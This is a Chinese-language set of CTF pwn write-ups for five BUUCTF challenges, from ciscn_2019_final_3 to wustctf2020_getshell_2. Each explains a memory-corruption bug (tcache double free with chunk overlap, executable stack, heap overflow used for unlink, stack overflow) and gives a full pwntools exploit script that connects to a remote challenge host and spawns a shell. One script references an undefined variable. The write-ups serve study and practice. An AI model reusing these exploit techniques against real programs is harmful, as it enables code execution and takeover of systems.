66 ciscn_2019_final_3
保护
c++的一个堆。
逻辑挺简单。
add
HIDWORD是IAD里面的宏定义。
最多申请24个。
size下面放index,然后申请的chunk地址放在2022a0.
还把地址输了出来。
remove
这个题给的东西比较少,给了堆的地址,给了申请,给了释放。
释放之后有个uaf。
思路就是首先我们需要泄露地址,程序里面的gift可以做到这一点,通过它来获得PIE,进而知道malloc_hook。
free后指针没有置0,且libc是2.27的,存在tcache dup。唯一问题就在于如何得到libc的地址。泄露libc地址一般通过unsortbin,存在tcache的情况下,64位程序需要申请超过0x400大小chunk,free之后才能进unsortbin,所以只能通过修改chunksize,其次要得到libc地址必须要分配到这块地方题目才能给你打印出来,通过overlap可以将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间。
这个是overlap之后的heap布局。
因为这道题唯一能够输出地址的只能是去申请到那个地方的chunk,那么通过overlap,把main_arena地址写在一个被overlap的chunk的fd那里,而且要提前把chunk挂到链里面,不然chunk的大小会被修改。
上面那个图就是效果图,这个时候如果去申请tcache大小的chunk的话,就会申请到main_arena,并且做到泄露地址。
然后就是随便找个chunk,来一次double free,攻击malloc_hook,来拿到shell。
# -*- coding: utf-8 -*-
from pwn import *
r = remote("node3.buuoj.cn",28201)
#r = process("./66")
#libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6')
libc = ELF("./libc.so.6")
context.log_level = "debug"
def add(idx,size,data):
r.recvuntil('choice > ')
r.sendline('1')
r.recvuntil('the index')
r.sendline(str(idx))
r.recvuntil('the size')
r.sendline(str(size))
r.recvuntil('something')
r.sendline(data)
r.recvuntil('gift :')
return int(r.recvline()[2:],16)
#这个地方这样接收地址,这种写法非常好
def free(idx):
r.recvuntil('choice > ')
r.sendline('2')
r.recvuntil('the index')
r.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')
add(17,0x18,'f')
'''
libc_base=add(18,0x18,'g')-0x3ebca0
malloc_hook=libc_base+libc.sym['__malloc_hook']
'''
malloc_hook = (add(18, 0x18, 'g') & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
#这样写可以避免不同的libc需要减的那个数字不一样。
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
#gdb.attach(r)
r.sendline("1")
r.sendline("22")
r.sendline('a')
r.interactive()
67 mrctf2020_shellcode
保护
因为有call rax 反编译不了,就直接看吧。
没开NX,然后call rax那里直接把buf的地址放了进去,所以回call那里,所以直接在那个地方写上shellcode就好。
exp
# -*- coding: utf-8 -*
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
r = remote('node3.buuoj.cn',26456)
#r = process('./65')
elf = ELF('./67')
libc = ELF("./64/libc-2.23.so")
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()
68 hitcontraining_magicheap
保护
菜单堆。
create
就是正常的申请空间然后往里面写内容。
edit
编辑的时候输入大小就又能随便写,这就有溢出嘛。
delete
这里指针啥的都清空了。
后门函数也有。
根据主程序写的,他就是要求往magic的地方写入一个比较大的数字,因为现在libc更新,所以unsortedbin_attack可以说是直接消失了,因为他会检查链表的完整性。
/* Record incoming configuration of top */
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
所以我们在这里就直接用unlink。
回顾一下unlink
#define unlink(P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if(FD->bk != P || BK->fd !=p)
{
malloc_printerr (check_action, "corrupted d...", P);
}
else
{
FD->bk = BK;
BK->fd = FD;
}
}
通过unlink,把劫持heaparray,然后把第一个数组那里写成free的got,参数,参数的地址,都写在这个地方,然后修改free为system,从而拿到shell。
exp
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node3.buuoj.cn',26365)
#r = process('./41')
context.log_level = "debug"
elf=ELF("./68")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020c8
def create(size,content):
r.recvuntil('Your choice :')
r.sendline("1")
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap:')
r.sendline(content)
def edit(index, size, content):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Size of Heap : ')
r.sendline(str(size))
r.recvuntil('Content of heap : ')
r.send(content)
#这个地方要特殊注意,因为我们后面输入大小的时候直接按照字符串大小输入的
#如果我们是sendline,那么会多送一个回车,但是read读不进去,因为read的参数大小受限
#所以他会把这个回车留到下一次输入的时候顺便读进去,这就造成了很大的问题
#所以这个地方要格外小心
def delete(index):
r.recvuntil('Your choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
create(0x100,'aaaa')
create(0x20,'bbbb')
create(0x80,'cccc')
payload = p64(0) + p64(0x21) + p64(ptr-0x18) + p64(ptr-0x10)
payload += p64(0x20) + p64(0x90)
edit(1,len(payload),payload)
delete(2)
payload = p64(0) + p64(0) + p64(free_got)
payload += p64(ptr-0x18) + p64(ptr+0x10) + "/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
r.interactive()
69 pwnable_start
保护
程序还挺有意思,没有开NX。
显示系统调用号为4的write函数,然后是系统调用号为3的read函数。
先是把那一串文字写出来,然后让你往栈上面输东西。
因为最后两句是 add esp,14h,ret。所以栈的大小是14h,而且没有用esp,就是直接接返回地址。
首先要泄露地址。
因为程序一开始将esp入栈了,所以程序返回之后,栈顶就是之前esp的地址。
然后溢出,调用系统调用号是11的execve就行了。
程序还规定了写入的大小,用pwntools的话就太多了,所以还是自己手写一个。
exp
from pwn import *
context(os='linux',arch='i386',log_level='debug')
r = remote("node3.buuoj.cn","27571")
payload = 'A'*0x14 + p32(0x8048087)
r.sendafter("Let's start the CTF:",x)
stack = u32(r.recv(4))
print(hex(stack))
esp = stack - 0x4
shellcode ='''
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,11
xor ebx,ebx
mov ebx,esp
int 0x80
'''
payload = 'A' * 0x14 + p32(esp+0x14+0xc) + '/bin/sh\x00' + asm(shellcode)
r.send(payload)
r.interactive()
70 wustctf2020_getshell_2
保护
平平无奇栈溢出。
但是这个后门函数参数有点问题。
溢出的空间不大,没有办法常规做法。
栈迁移没办法做,不能往bss写一些东西。
回到上面给的那个后门函数,发现可以直接用/sh。
system(’/sh’)也是后门函数。
exp
from pwn import *
context(os='linux',arch='i386',log_level='debug')
r = remote('node3.buuoj.cn', 26920)
system_addr = 0x8048529
sh_addr = 0x8048670
payload = 'a' * 28 + p32(system_addr) + p32(sh_addr)
r.send(payload)
r.interactive()